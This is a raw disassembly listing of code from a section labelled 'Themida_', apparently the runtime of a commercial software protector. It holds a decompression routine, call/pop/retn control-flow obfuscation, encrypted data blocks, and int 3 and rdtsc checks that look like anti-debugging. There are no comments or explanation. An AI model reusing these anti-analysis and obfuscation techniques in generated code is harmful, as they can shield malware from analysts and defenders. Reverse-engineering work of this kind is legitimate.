		add	dword ptr [ebp+6114160h], 4
		pop	edi
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+6114164h], 0
		jnz	loc_54DE16
		retn
; ---------------------------------------------------------------------------


loc_54DE16:				; CODE XREF: Themida_:0054DE0Fj
		pusha
		sub	dword ptr [ebp+6114160h], 4


loc_54DE1E:				; CODE XREF: Themida_:loc_54DE68j
		mov	ebx, [ebp+6114160h]
		cmp	dword ptr [ebx-4], 0FFFFFFFFh
		jnz	loc_54DE4B
		push	0F4264A5Fh
		add	dword ptr [esp], 0BDA35A1h
		push	0
		push	dword ptr [ebx]
		call	dword ptr [ebp+6114158h]
		popa
		retn
; ---------------------------------------------------------------------------
		jmp	loc_54DE68
; ---------------------------------------------------------------------------


loc_54DE4B:				; CODE XREF: Themida_:0054DE28j
		push	7A3D7093h
		xor	dword ptr [esp], 7A3DF093h
		push	0
		push	dword ptr [ebx]
		call	dword ptr [ebp+6114158h]
		sub	dword ptr [ebp+6114160h], 4


loc_54DE68:				; CODE XREF: Themida_:0054DE46j
		jmp	loc_54DE1E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54D654


loc_54DE6D:				; CODE XREF: sub_54D654+6F1j
					; sub_54D654+790j
		dec	eax
		jmp	loc_54E020
; END OF FUNCTION CHUNK	FOR sub_54D654
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		mov	edi, [esp+28h]
		cld
		mov	dl, 80h


loc_54DE7F:				; CODE XREF: Themida_:loc_54DE97j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_54DE8A:				; CODE XREF: Themida_:0054DF15j
					; Themida_:0054DF7Dj ...
		add	dl, dl
		jnz	loc_54DE97
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54DE97:				; CODE XREF: Themida_:0054DE8Cj
		jnb	loc_54DE7F
		add	dl, dl
		jnz	loc_54DEAA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54DEAA:				; CODE XREF: Themida_:0054DE9Fj
		jnb	loc_54DF1A
		xor	eax, eax
		add	dl, dl
		jnz	loc_54DEBF
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54DEBF:				; CODE XREF: Themida_:0054DEB4j
		jnb	loc_54DFEF
		add	dl, dl
		jnz	loc_54DED2
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54DED2:				; CODE XREF: Themida_:0054DEC7j
		adc	eax, eax
		add	dl, dl
		jnz	loc_54DEE1
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54DEE1:				; CODE XREF: Themida_:0054DED6j
		adc	eax, eax
		add	dl, dl
		jnz	loc_54DEF0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54DEF0:				; CODE XREF: Themida_:0054DEE5j
		adc	eax, eax
		add	dl, dl
		jnz	loc_54DEFF
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54DEFF:				; CODE XREF: Themida_:0054DEF4j
		adc	eax, eax
		jz	loc_54DF0D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_54DF0D:				; CODE XREF: Themida_:0054DF01j
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	loc_54DE8A
; ---------------------------------------------------------------------------


loc_54DF1A:				; CODE XREF: Themida_:loc_54DEAAj
		mov	eax, 1


loc_54DF1F:				; CODE XREF: Themida_:loc_54DF3Bj
		add	dl, dl
		jnz	loc_54DF2C
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54DF2C:				; CODE XREF: Themida_:0054DF21j
		adc	eax, eax
		add	dl, dl
		jnz	loc_54DF3B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54DF3B:				; CODE XREF: Themida_:0054DF30j
		jb	loc_54DF1F
		sub	eax, ebx
		mov	ebx, 1
		jnz	loc_54DF82
		mov	ecx, 1


loc_54DF53:				; CODE XREF: Themida_:loc_54DF6Fj
		add	dl, dl
		jnz	loc_54DF60
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54DF60:				; CODE XREF: Themida_:0054DF55j
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_54DF6F
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54DF6F:				; CODE XREF: Themida_:0054DF64j
		jb	loc_54DF53
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_54DE8A
; ---------------------------------------------------------------------------


loc_54DF82:				; CODE XREF: Themida_:0054DF48j
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_54DF90:				; CODE XREF: Themida_:loc_54DFACj
		add	dl, dl
		jnz	loc_54DF9D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54DF9D:				; CODE XREF: Themida_:0054DF92j
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_54DFAC
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_54DFAC:				; CODE XREF: Themida_:0054DFA1j
		jb	loc_54DF90
		cmp	eax, 7D00h
		jnb	loc_54DFDF
		cmp	eax, 500h
		jb	loc_54DFD6
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_54DE8A
; ---------------------------------------------------------------------------


loc_54DFD6:				; CODE XREF: Themida_:0054DFC2j
		cmp	eax, 7Fh
		ja	loc_54DFE2


loc_54DFDF:				; CODE XREF: Themida_:0054DFB7j
		add	ecx, 2


loc_54DFE2:				; CODE XREF: Themida_:0054DFD9j
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_54DE8A
; ---------------------------------------------------------------------------


loc_54DFEF:				; CODE XREF: Themida_:loc_54DEBFj
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	loc_54E014
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_54DE8A
; ---------------------------------------------------------------------------


loc_54E014:				; CODE XREF: Themida_:0054DFF7j
		sub	edi, [esp+28h]
		mov	[esp+1Ch], edi
		popa
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54D654


loc_54E020:				; CODE XREF: sub_54D654+81Aj
		mov	edx, 929h
		jmp	loc_54E9FD
; END OF FUNCTION CHUNK	FOR sub_54D654
; ---------------------------------------------------------------------------
		dw 0E860h
		dd 8B0CE74h, 0E36A7D40h, 0D918C1B1h, 0EB58E2Fh,	80EDF450h
		dd 0DA128C9Ch, 0F5421DFFh, 0CE3DCF23h, 4ABBC374h, 0F478754Ch
		dd 0CB0992E3h, 45BACB28h, 8A9D973Fh, 0DB0F9896h, 0F5424FF3h
		dd 0CD32C921h, 4AA1C374h, 0EB626853h, 0D5158CE3h, 4BAEDC33h
		dd 0C6A9F454h, 0CA0F9C81h, 0BB431DBEh, 0DB26C934h, 5A7DA74h
		dd 0EB6C6852h, 0EDh, 62h dup(0)
		dd 0E8600000h, 4BAC774h, 0F4626E5Ch, 0D70291E3h, 6B6DC3Bh
		dd 95ACF215h, 0DB199BD3h, 0F4514FB1h, 8937C838h, 4BBDF26h
		dd 0A66A745Ch, 0C1508FAAh, 4BA5DB33h, 92BEE346h, 0B4529496h
		dd 0FE5B3FD2h, 8536D52Ch, 6BBDF74h, 0A6697B5Ah,	0DE5095AAh
		dd 4BBAC12Eh, 89A0FF58h, 0DF5C8081h, 0E9170BB1h, 0C827D528h
		dd 13F5DE26h, 0A67F6F5Ah, 0DF1F93B3h, 45BACF2Eh, 48h dup(0)
		dd 0E8600000h, 0BA7C974h, 0F4687156h, 0CC5092E4h, 4BBBC133h
		dd 0C6BEFB5Dh, 0D0199C91h, 0EE5809FFh, 0DB73C223h, 3BBC421h
		dd 0EF2D7D5Bh, 0D709C1ADh, 18F7DC29h, 83B9E94Ch, 0B376D79Eh
		dd 0FA52038Fh, 897FC33Eh, 5B9C421h, 0EF2D7E54h,	0CA16C1B7h
		dd 6F7C333h, 94A2F750h,	0D01DD98Ah, 0FE454FBBh,	0DB32D23Eh
		dd 5AC8A20h, 0F62D6840h, 0CA178EB1h, 0F9C33Dh, 61h dup(0)
		dd 0EF600000h, 4AB0C63Dh, 0F47F7556h, 0DD0491B6h, 4BF98F38h
		dd 95A4F261h, 0D10E89D3h, 0F6561DB8h, 0DA32CE6Dh, 0FB0C874h
		dd 0E7603A5Bh, 0CD0088ADh, 0EA3CF30h, 88ACBA51h, 0DF11D997h
		dd 91520DA6h, 8E27CF40h, 4BC8A27h, 0F26E7F53h, 0DA5085A6h
		dd 4BB68E25h, 93BFF363h, 0CC13D980h, 0FA450CFFh, 0CD36CD2Eh
		dd 2818A7Ah, 0E02D695Ch, 98158DAAh, 4CB9C12Bh, 89BABA41h
		dd 0DF5C9281h, 0F45A16B1h, 7DC33Fh, 0E0h dup(0)
		dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0)
aExitStatusD	db 'Exit Status = %d',0
		align 4
		dd 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54D654


loc_54E9FD:				; CODE XREF: sub_54D654+9D1j
		jmp	loc_5516DC
; END OF FUNCTION CHUNK	FOR sub_54D654
; ---------------------------------------------------------------------------
		mov	bl, ah
		cld
		pusha
		add	esi, [ebp+6110119h]
		sub	[ebp+61112A1h],	esi
		popa
		jmp	loc_54EA2A
; ---------------------------------------------------------------------------
		dd 0F4FE446Ah, 0BCD83F8Eh, 0C1A946FAh, 0E1326AFBh
		db 0A3h, 0D4h
; ---------------------------------------------------------------------------


loc_54EA2A:				; CODE XREF: Themida_:0054EA13j
		mov	eax, eax
		push	0
		push	edx
		call	sub_54EA37
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54EA37	proc near		; CODE XREF: Themida_:0054EA2Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_54EA37	endp

; ---------------------------------------------------------------------------
		stc
		cwde
		mov	ds, bx
		int	3		; Trap to Debugger
		cmp	dword ptr [ebp+61125F1h], 0
		jnz	short loc_54EA5E
		cmp	dword ptr [ebp+611243Dh], 0
		jz	short loc_54EA71


loc_54EA5E:				; CODE XREF: Themida_:0054EA53j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 1
		lea	ebx, [ebp+613B0CBh]
		call	ebx
		pop	ebx
		pop	eax


loc_54EA71:				; CODE XREF: Themida_:0054EA5Cj
		cmp	dword ptr [ebp+611243Dh], 0
		jz	short loc_54EA8B
		push	eax
		push	ebx
		mov	eax, 1
		lea	ebx, [ebp+613AF7Ch]
		call	ebx
		pop	ebx
		pop	eax


loc_54EA8B:				; CODE XREF: Themida_:0054EA78j
		pusha
		mov	edx, [ebp+6113489h]
		popa
		jz	loc_54EAAD
		jmp	loc_54EAAD
; ---------------------------------------------------------------------------
		dw 0C132h
		dd 5BA30EAEh, 0B58ECAD2h, 0CDE575A6h
		db 64h
; ---------------------------------------------------------------------------


loc_54EAAD:				; CODE XREF: Themida_:0054EA93j
					; Themida_:0054EA99j
		mov	eax, eax
		movzx	edx, cx
		xor	dx, 0E8C3h
		cmp	dword ptr [ebp+6113039h], 0
		jz	loc_54EC5B
		push	0
		push	edx
		call	sub_54EACF
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54EACF	proc near		; CODE XREF: Themida_:0054EAC7p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_54EACF	endp

; ---------------------------------------------------------------------------
		pop	esi
		push	ebp
		shl	esi, 1
		xor	[edx-62748949h], bl
		mov	cl, 29h
		adc	[esi], eax
		jz	loc_54EAF9
		sbb	ebx, 2F1B3ED9h


loc_54EAF9:				; CODE XREF: Themida_:0054EAEDj
		pusha
		jmp	loc_54EB06
; ---------------------------------------------------------------------------
		db 5Fh
		dd 254BCE60h
		db 9, 60h
; ---------------------------------------------------------------------------


loc_54EB06:				; CODE XREF: Themida_:0054EAFAj
		mov	edi, 464119F7h
		popa
		cmp	dword ptr [ebp+6111D75h], 0
		jz	loc_54EC5B
		mov	dl, 75h
		mov	bl, 3Fh
		pusha
		jno	loc_54EB2A
		sub	[ebp+6111D39h],	eax


loc_54EB2A:				; CODE XREF: Themida_:0054EB1Ej
		mov	eax, [ebp+6111D75h]
		and	dx, 375Ah
		mov	edx, [ebp+6112289h]
		add	eax, 3E8h
		mov	ebx, eax
		push	eax
		push	edi
		push	eax
		push	edx
		push	eax
		pop	edx
		rdtsc
		push	esi
		pop	ebx
		pop	edx
		pop	eax
		pop	edx
		mov	[esp], eax
		push	0
		push	edi
		call	sub_54EB5D
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54EB5D	proc near		; CODE XREF: Themida_:0054EB55p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_54EB5D	endp

; ---------------------------------------------------------------------------
		db 0CEh, 8Bh, 0DAh
		dd 30A18529h, 858D0611h, 6114E1Eh, 0EFDB8166h, 0D0B70F5Fh
		dd 24048950h, 32E5958Bh, 858D0611h, 6114DFCh, 0F6230BBh
		dd 890F904Fh, 1Dh, 12E8h, 0FF84C800h, 65FD33E4h, 0DB0E1614h
		dd 0A8203A4Ch, 0BBB5FAA5h, 4C40B179h, 15BA505Bh, 9077D005h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 9CC35747h
		dd 816628CAh, 0FF09F8DBh, 11281D95h, 0DBB1BB06h, 21BB5B5Ah
		dd 8350F737h, 958B0CC4h, 61117E1h, 4DFC858Dh, 8B660611h
		dd 8B6650D8h, 240489D6h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 19h, 4BC35343h, 0A7D64958h, 0A19D0928h, 0F061105h
		dd 68Dh, 2D850900h, 6A061113h, 0D9858902h, 0FF06111Fh
		dd 6AED1495h, 81858900h, 6106112Ah
; ---------------------------------------------------------------------------
		mov	bx, ax


loc_54EC5B:				; CODE XREF: Themida_:0054EABEj
					; Themida_:0054EB13j
		mov	dword ptr [ebp+6114E2Fh], 1
		push	0
		push	edx
		call	sub_54EC70
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54EC70	proc near		; CODE XREF: Themida_:0054EC68p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_54EC70	endp

; ---------------------------------------------------------------------------
		dd 0F71522Eh, 6C0EE197h, 6CBA66B3h, 0CCBA5054h,	894C79F2h
		dd 0F562434h, 689h, 15958B00h, 5B06111Dh, 4DE0B589h, 10E90611h
		dd 3C000000h, 0A456A54Ch, 0A9147601h, 860FFA17h, 835455B3h
		dd 111B71BDh, 850F0106h, 50h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 6DC35242h, 0C34A57C1h, 66843C03h
		dd 834A18BAh, 850F05F8h, 20h, 0B8DE8Bh,	0E8000000h, 0Dh
		dd 51EE7599h, 0F2645A7Fh, 0CEEDE3E1h, 499D8BEEh, 5B061126h
		dd 1EE1BD83h, 0F000611h, 1A84h,	1D8D0100h, 6006110Ah, 9D59D2Bh
		dd 95FF0611h, 6111EE1h,	9A6CF4BBh, 83FC6136h, 1126F9BDh
		dd 840F0006h, 17h, 0E6D950Bh, 0B80611h,	0F000000h, 68Ch
		dd 859D8B00h, 60061134h, 0BE9h,	3D6FB400h, 0FD7BE89Eh
		dd 95255FFDh, 3101858Bh, 6A0611h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 916F98C3h, 55937217h
		dd 83D1B70Fh, 858902C0h, 6110AEDh, 4DD88589h, 85290611h
		dd 6110F8Dh, 0C6DF8B66h, 2CB6FF00h, 6D185C6h, 89530611h
		dd 110E7985h, 3BBC6806h, 5A51F693h, 1C240481h, 6A061E0Dh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 3FF5C355h, 0A5DFDFF9h, 0FD1B5FFh,	0B5010611h
		dd 6110535h, 0F9CB8166h, 7F858DCFh, 0BA061474h,	4BB45EA8h
		dd 6AD0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 2C2CE9C3h, 0B41F2E01h, 2840Fh, 0DD8A0000h
		dd 68C0Fh, 958B0000h, 61108D1h,	5C58589h, 6A0611h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 35FA25C3h, 3ADBD83h,	0F010611h, 0CC85h, 8BF88A00h, 1106D99Dh
		dd 6A6106h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 85C67DC3h, 61106D1h, 8E945h, 0C9D60000h
		dd 93D529E5h, 2868EC66h, 5086DC66h, 0F5A5152h, 8E0F5231h
		dd 0
; ---------------------------------------------------------------------------
		pop	ebx
		pop	edx
		pop	eax
		add	dword ptr [esp], 5383D29Ah
		push	0
		push	edi
		call	sub_54EEE1
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54EEE1	proc near		; CODE XREF: Themida_:0054EED9p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_54EEE1	endp

; ---------------------------------------------------------------------------
		db 41h,	7Bh, 24h
		dd 0F09E9565h, 1535958Bh, 0A8B70611h, 0FD1B5FFh, 9D8B0611h
		dd 6110B01h, 747F858Dh,	6A0614h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 0F99356C3h, 84235FCBh
		dd 0FF20C280h, 503BAD0h, 6A66A7h, 5B589h, 0D0FF0611h, 6C0DC1BAh
		dd 19BD831Dh, 1061126h,	0CB850Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0BE6C8BC3h
		dd 37DCBEF5h, 0E9AB9C4Bh, 14h, 1A25C20Eh, 46C578DBh, 44956B22h
		dd 0BA09DFD3h, 94AF4DA9h, 3101858Bh, 0EA810611h, 5691DCD9h
		dd 206D958Bh, 5AE90611h, 0E9000000h, 0Eh, 5A50E101h, 16A6B43Fh
		dd 0E15B28F8h, 66902FEAh, 500B1FBBh, 9E9h, 4F519E00h, 0CF3A850Fh
		dd 8190718Ch, 92C4F6EAh, 8A146A25h, 0C595FFF5h,	89061105h
		dd 112C0585h, 0E8605806h, 0Bh, 0DBE42779h, 34E09C52h, 0B918BC96h
		dd 3AF3B9ACh, 2CF5805Eh, 388061h, 0FFB0850Fh, 820FFFFFh
		dd 4, 3468BB66h, 8B0100C6h, 110B219Dh, 0EE96106h, 8E000000h
		dd 9BF4917Ah, 0D1A7853Ah, 6B6D9920h, 9DBD83AEh,	61130h
		dd 66840Fh, 0EA800000h,	6AFF6A84h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0C680C350h
		dd 6850F53h, 8B000000h,	1108419Dh, 95FF5A06h, 61105C5h
		dd 0B01BD09h, 0C2E90611h, 6AFFFFFFh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 5AD8C353h
		dd 0D259B6B7h, 170FF170h, 309D85C7h, 10611h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 50160EC3h, 89DA41B9h, 114DE485h, 1BBA5006h, 896A9DA9h
		dd 66602404h, 89635BBAh, 11041195h, 6A606106h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0A19CC356h, 44B574FCh, 8BD958Bh, 9D8B0611h, 6112919h
		dd 7E8056Ah, 4E000000h,	73D7D2B6h, 0B70F0C7Fh, 858D5BD8h
		dd 6114DFCh, 0E598D89h,	50900611h, 5E952h, 86720000h, 0FE138F8h
		dd 121BA31h, 585A5F3Ch,	9048B250h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 1AC35040h, 50C64297h, 0DDBD3189h
		dd 8B061132h, 1132959Dh, 0EC858D06h, 6A06114Dh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 2433C353h, 8B9073DDh, 7E950DEh, 81000000h, 897B9476h
		dd 0F901838h, 95FFD9BFh, 611286Dh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 30C35646h, 0AE31BB95h, 89ED703Eh
		dd 112A7D95h, 0A1958B06h, 8D06111Dh, 117A878Dh,	0D78B6606h
		dd 1174C00Bh, 4DFC858Dh, 0FF500611h, 1A8589D1h,	0EB06114Eh
		dd 1A85C70Ah, 0FF06114Eh, 6AFFFFFFh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 9E5C351h
		dd 14E9A120h, 0AF000000h, 8083E8F6h, 0EB6B18FEh, 0B96020C2h
		dd 0D32E0DB1h, 31D60DE9h, 1115098Dh, 0C9BA6106h, 0C6333EE1h
		dd 1106D185h, 958B4D06h, 61131B5h, 19918668h, 0B4B2BB3Eh
		dd 481637Eh, 1BE52224h,	2CB8166h, 0FF630E3Ch, 110261B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 89D1D69Bh, 1103C19Dh, 7F858D06h,	0E9061474h
		dd 12h,	0C9033E93h, 4A73228h, 8A9A2542h, 0B81C8BAFh, 0D0FF33E7h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 61C35646h
		dd 0BB664DB3h, 0F600B0Fh, 0E860CABFh, 8, 415A4ADCh, 4EB5A675h
		dd 3DBD8B5Fh, 61061104h, 7D858961h, 0F06110Fh, 85C6D1BFh
		dd 61106D1h, 5D9D0345h,	0F061120h, 386h, 0D2B70F00h, 0DE45C568h
		dd 81D78BC6h, 2CAC2434h, 70B648ACh, 98DA8166h, 0D1B5FF41h
		dd 0E906110Fh, 8, 0F476A196h, 7AD9A86h,	747F858Dh, 8B660614h
		dd 0E9D0FFDFh, 0Fh, 12CB16CBh, 41A6F984h, 0D2DB6409h, 89CBF04Ah
		dd 1132A585h, 4DCA8106h, 8B315E00h, 0D38B66D2h,	66D98C66h
		dd 0F3B4C281h, 0F04C1F6h, 1DF84h, 5E900h, 5DE80000h, 0E970FA1Eh
		dd 122h, 2B59958Bh, 0B58B0611h,	6110F85h, 0BC85B860h, 800F2DF8h
		dd 0
; ---------------------------------------------------------------------------
		popa
		movzx	edx, ax
		add	esi, 1180h
		mov	ebx, 523AA17Fh
		cmp	dword ptr [ebp+611244Dh], 0
		jnz	loc_54F404
		cld
		jmp	loc_54F4AB
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_54F3E5
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54F3E5	proc near		; CODE XREF: Themida_:0054F3DDp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_54F3E5	endp

; ---------------------------------------------------------------------------
		db 48h,	52h, 0DBh
; ---------------------------------------------------------------------------
		mov	al, 0ABh
		test	al, 6
		rol	byte ptr [edx+6199D2Bh], 11h
		push	es


loc_54F404:				; CODE XREF: Themida_:0054F3CEj
		cmp	dword ptr [esi], 0
		jz	loc_54F4AB
		call	near ptr loc_54F417+3
		push	esp
		lahf
		stosd
		cdq
		push	ss


loc_54F417:				; CODE XREF: Themida_:0054F40Dp
		mov	ecx, 9509C15Fh
		popa
		or	[ecx], dl
		push	es
		pop	ebx
		pusha
		xor	ebx, [ebp+61112E9h]
		push	14h
		mov	bx, 0C2A4h
		jnz	loc_54F436
		mov	bh, 0CDh


loc_54F436:				; CODE XREF: Themida_:0054F42Ej
		call	dword ptr [ebp+61105C5h]
		push	0
		push	ebx
		call	sub_54F447
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54F447	proc near		; CODE XREF: Themida_:0054F43Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_54F447	endp

; ---------------------------------------------------------------------------
		movsb
		mov	[ebp+6110E5Dh],	ebx
		xor	ebx, 71BF5C2Ch
		popa
		push	0
		push	esi
		call	sub_54F470
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54F470	proc near		; CODE XREF: Themida_:0054F468p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_54F470	endp

; ---------------------------------------------------------------------------
		dd 0DB48D3DFh, 6BC0E5B6h, 0FE83373h, 0B4000000h, 39AC03B3h
		dd 3B2063F4h, 745EF6EDh, 0D58ABA1Fh, 0FF5EE95Ah, 86BAFFFFh
		db 0DCh, 0A8h, 0Ch
; ---------------------------------------------------------------------------


loc_54F4AB:				; CODE XREF: Themida_:0054F3D5j
					; Themida_:0054F407j
		mov	dword ptr [esi], 1
		jnb	loc_54F4BD
		adc	edx, 0EADF07h


loc_54F4BD:				; CODE XREF: Themida_:0054F4B1j
		adc	dx, 0CD4Bh
		cmp	dword ptr [ebp+6114DE4h], 5
		jnz	loc_54F570
		push	0
		push	edi
		call	sub_54F4DA
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54F4DA	proc near		; CODE XREF: Themida_:0054F4D2p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_54F4DA	endp

; ---------------------------------------------------------------------------
		dw 0C076h
; ---------------------------------------------------------------------------
		xor	dx, 7855h
		mov	esi, [ebp+61132A5h]
		mov	ebx, edi
		mov	ecx, 64h
		mov	ebx, [ebp+61113C5h]
		and	bx, 9381h


loc_54F509:				; CODE XREF: Themida_:0054F54Dj
		cmp	byte ptr [esi],	0E8h
		jz	loc_54F529
		push	ebx
		mov	[ebp+61101E9h],	esi
		pop	edx
		jmp	loc_54F535
; ---------------------------------------------------------------------------
		and	edx, [ebp+6111C89h]
		mov	bx, 8781h


loc_54F529:				; CODE XREF: Themida_:0054F50Cj
		cmp	byte ptr [esi+5], 0C2h
		jz	loc_54F55F
		mov	bl, 77h


loc_54F535:				; CODE XREF: Themida_:0054F51Aj
		inc	esi
		jp	loc_54F54C
		jmp	loc_54F54C
; ---------------------------------------------------------------------------
		db 0A7h, 0B8h, 48h
		dd 502F6006h, 24D3FBB8h
; ---------------------------------------------------------------------------


loc_54F54C:				; CODE XREF: Themida_:0054F536j
					; Themida_:0054F53Cj
		dec	ecx
		jnz	loc_54F509
		sbb	dh, 4Ah
		jmp	loc_54F570
; ---------------------------------------------------------------------------
		mov	dx, 0E5E5h


loc_54F55F:				; CODE XREF: Themida_:0054F52Dj
		mov	[ebp+61117DDh],	esi
		xor	dx, 1BD9h
		xor	[ebp+6111DE1h],	edi


loc_54F570:				; CODE XREF: Themida_:0054F4C9j
					; Themida_:0054F556j
		pop	eax
		jmp	loc_54F588
; ---------------------------------------------------------------------------
		dw 220Dh
		dd 78B58020h, 8AB0140Fh, 9886124Dh, 0DDDED395h
; ---------------------------------------------------------------------------


loc_54F588:				; CODE XREF: Themida_:0054F571j
		cmp	dword ptr [ebp+6110519h], 0
		jz	loc_54F6BA
		mov	edx, ecx
		pusha
		push	0
		push	edi
		call	sub_54F5A3
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54F5A3	proc near		; CODE XREF: Themida_:0054F59Bp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_54F5A3	endp

; ---------------------------------------------------------------------------
		db 61h
		dd 1A9A95D9h, 1B459D89h, 8B600611h, 11340D9Dh, 2B86606h
		dd 85C6618Bh, 61106D1h,	0B9953154h, 6806110Ch, 0D8DCBF73h
		dd 10E8h, 0BBD94F00h, 9ECAC265h, 4109241Fh, 0E185A48Ah
		dd 7E96Ch, 31700000h, 17CD1675h, 4815ABEh, 71FF8124h, 53006A26h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0ED62431Ah, 0FD1B5FFh, 0B7B70611h, 1BF9BD89h, 858D0611h
		dd 614747Fh, 25858B60h,	6606110Fh, 0FF61F18Bh, 0E9952BD0h
		dd 6A061105h, 0B5FFF800h, 6110519h, 0DE9h, 0F779E600h
		dd 0BAA2C674h, 89D0FD14h, 0D0FF1FB7h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0DEC35747h,	3FD8D82Bh, 51BA6622h
		dd 6A617Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 1D8745C3h, 5D3BBBFAh, 58BB26E0h, 80093BA8h
		db 0EEh, 0BFh
; ---------------------------------------------------------------------------


loc_54F6BA:				; CODE XREF: Themida_:0054F58Fj
